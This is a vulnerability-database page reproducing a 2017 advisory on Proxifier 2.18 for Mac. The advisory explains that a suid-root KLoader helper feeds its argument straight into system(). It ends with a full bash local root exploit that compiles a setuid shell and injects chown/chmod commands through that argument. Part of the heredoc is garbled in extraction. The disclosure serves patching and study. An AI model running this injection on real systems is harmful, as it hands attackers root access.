Lucene search
K

Proxifier 2.18 Privilege Escalation / Code Execution

🗓️ 11 Apr 2017 00:00:00Reported by Mark WadhamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 59 Views

Privilege Escalation in Proxifier 2.18 for Ma

Related
Code
`Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with   
a KLoader binary which it installs suid root the first time Proxifier is   
run. This binary serves a single purpose which is to load and unload   
Proxifier's kernel extension.  
  
Unfortunately it does this by taking the first parameter passed to it on   
the commandline without any sanitisation and feeding it straight into   
system().  
  
This means not only can you load any arbitrary kext as a non-root user   
but you can also get a local root shell.  
  
Although this is a bit of a terrible bug that shouldn't be happening in   
2017, Proxifier's developers fixed the issue in record time so that's   
something!  
  
Everyone using Proxifier for Mac should update to 2.19 as soon as   
possible.  
  
https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html  
  
-------------------------------------------------------------------  
  
#!/bin/bash  
  
#####################################################################  
# Local root exploit for vulnerable KLoader binary distributed with #  
# Proxifier for Mac v2.18 #  
#####################################################################  
# by m4rkw #  
#####################################################################  
  
cat > a.c <  
#include  
  
int main()  
{  
setuid(0);  
seteuid(0);  
  
execl("/bin/bash", "bash", NULL);  
return 0;  
}  
EOF  
  
gcc -o /tmp/a a.c  
rm -f a.c  
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel   
/tmp/a ; chmod 4755 /tmp/a'  
/tmp/a  
  
-------------------------------------------------------------------  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Apr 2017 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.00268
59